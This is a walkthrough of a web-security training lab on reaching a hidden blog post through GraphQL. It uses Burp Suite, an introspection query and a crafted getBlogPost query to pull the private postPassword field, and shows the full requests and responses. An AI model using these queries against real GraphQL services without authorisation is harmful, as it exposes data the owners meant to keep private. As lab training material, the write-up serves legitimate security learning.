Lab: Accessing private GraphQL posts

Identify the vulnerability

After starting the exercise, a blog should appear in your browser that looks similar to the one shown in the following figure. If your blog contains other posts, this is not a problem, as the Web Security Academy exercises are regenerated each time.

We now switch to the Burp Suite and open the Burp Proxy and the HTTP history. There we search for the request POST /graphql/v1.

If we take a closer look at this request, we see that each post has an id and that the id 3 is missing. This could be a post that is not intended for public viewing. The following code snippet shows an excerpt from the response.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 1426

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/64.jpg",
        "title": "Procrastination",
        "summary": "Procrastination. Putting off something or several things you really should be doing by finding endless nonsense to occupy yourself. This may be an unpopular opinion, but procrastination can be handy, it leads to some really menial tasks being done. Thinking...",
        "id": 1
      },
      {
        "image": "/image/blog/posts/10.jpg",
        "title": "I'm A Photoshopped Girl Living In A Photoshopped World",
        "summary": "I don't know what I look like anymore. I never use a mirror, I just look at selfies and use the mirror App on my cell. The mirror App is cool, I always look amazing, and I can change my...",
        "id": 4
      },
      {
        "image": "/image/blog/posts/32.jpg",
        "title": "A Guide to Online Dating",
        "summary": "Let's face it, it's a minefield out there. That's not even just a reference to dating, the planet right now is more or less a minefield. In a world where cats have their own YouTube channels and a celebrity can...",
        "id": 5
      },
      {
        "image": "/image/blog/posts/17.jpg",
        "title": "Passwords",
        "summary": "There are three types of password users in the world; those who remember them, those who don't, and those who write them down.",
        "id": 2
      }
    ]
  }
}

We now send the request POST /graphql/v1 to Burp Repeater. To do this, we move the mouse over the request and select the option "Send to Repeater" from the context menu.

In the Burp Repeater, we move the mouse over the request and press the right mouse button. In the context menu, select GraphQL and then Set introspection query.

After inserting the query, the request looks like the following code snippet.

POST /graphql/v1 HTTP/2
Host: 0a4f00850317a97a800626280062006e.web-security-academy.net
Cookie: session=KO8bJsW9GxPY0zmrCyb5ofw5zplFQa9v
Content-Length: 1404
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Accept: application/json
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: https://0a4f00850317a97a800626280062006e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4f00850317a97a800626280062006e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"query":"query IntrospectionQuery {\n    __schema {\n        queryType {\n            name\n        }\n        mutationType {\n            name\n        }\n        subscriptionType {\n            name\n        }\n        types {\n            ...FullType\n        }\n        directives {\n            name\n            description\n            locations\n            args {\n                ...InputValue\n            }\n        }\n    }\n}\n\nfragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n        name\n        description\n        args {\n            ...InputValue\n        }\n        type {\n            ...TypeRef\n        }\n        isDeprecated\n        deprecationReason\n    }\n    inputFields {\n        ...InputValue\n    }\n    interfaces {\n        ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n        name\n        description\n        isDeprecated\n        deprecationReason\n    }\n    possibleTypes {\n        ...TypeRef\n    }\n}\n\nfragment InputValue on __InputValue {\n    name\n    description\n    type {\n        ...TypeRef\n    }\n    defaultValue\n}\n\nfragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n        kind\n        name\n        ofType {\n            kind\n            name\n            ofType {\n                kind\n                name\n            }\n        }\n    }\n}"}

After the request has been sent, we receive a very long response. In this response, we look for the field called postPassword in the BlogPost section. It is located in the upper third of the response.

           {
              "name": "postPassword",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }

Exploit the vulnerability to find the password

From the HTTP history in the Burp Proxy we send the request POST /graphql/v1 again to the Burp Repeater. How exactly the request is sent to Burp Repeater is described above. In Burp Repeater we now click on the GraphQL tab.

In the Request section, we now see two subsections, Query and Variables. In the Query subsection, we see the following query.

query getBlogSummaries {
    getAllBlogPosts {
        image
        title
        summary
        id
    }
}

There is nothing in the Variables subsection so far. If we send this request, we receive the following response (output is abbreviated).

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 1466

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/63.jpg",
        "title": "Shopping Woes",
        "summary": "I'm one of those really annoying people you don't want to get stuck behind in the grocery store. I love to chat, and boy can I chat, to the cashier. My money is always at the bottom of my rucksack,...",
        "id": 2
      },
      {
        "image": "/image/blog/posts/31.jpg",
        "title": "Finding Inspiration",
        "summary": "I don't care who you are or where you're from aren't just poignant Backstreet Boys lyrics, they also ring true in life, certainly as far as inspiration goes. We all lack drive sometimes, or perhaps we have the drive but...",
        "id": 1
      },
...

However, we want the field postPassword to be displayed. To do this, we add this to the query.

query getBlogSummaries {
    getAllBlogPosts {
        image
        title
        summary
        id
        postPassword
    }
}

After sending, we receive the output of the field postPassword. However, the value of the field is null (output is truncated).

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 1586

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/63.jpg",
        "title": "Shopping Woes",
        "summary": "I'm one of those really annoying people you don't want to get stuck behind in the grocery store. I love to chat, and boy can I chat, to the cashier. My money is always at the bottom of my rucksack,...",
        "id": 2,
        "postPassword": null
      },
      {
        "image": "/image/blog/posts/31.jpg",
        "title": "Finding Inspiration",
        "summary": "I don't care who you are or where you're from aren't just poignant Backstreet Boys lyrics, they also ring true in life, certainly as far as inspiration goes. We all lack drive sometimes, or perhaps we have the drive but...",
        "id": 1,
        "postPassword": null
      },
...

We now insert {"id":3} in the Variables subsection and send the request again.

{
	"id":3
}

We see no change in the Response section. Why? The query getAllBlogPost returns all entries and does not offer the possibility to select individual entries, therefore there is no possibility to call the entry with the id 3. If we look at the request with the IntrospectionQuery again and scroll down to the bottom third of the Response section, we see the query getBlogPost.

              "name": "getBlogPost",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "BlogPost",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null

We now insert the following code in the Query subsection.

query getBlogSummaries {
     getBlogPost(id:3)
     {
          id
          summary
          postPassword
          }
}

The query returns the id, summary and postPassword. We now send the request to the application and receive the following response.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 352

{
  "data": {
    "getBlogPost": {
      "id": 3,
      "summary": "I love old people and technology. I love the language they use, where they have to put the word 'the' in front of everything. The Facebook, The Twitter...the ones I love the most are the ones who show they have...",
      "postPassword": "xvsf1snlhvbg9fppbsmir0qcql3omd1l"
    }
  }
}

We have now received the value for the postPassword field. We now copy this and click on the Submit solution button in the browser.

We insert the code in the window and click on Ok. The exercise is now successfully completed.

Last updated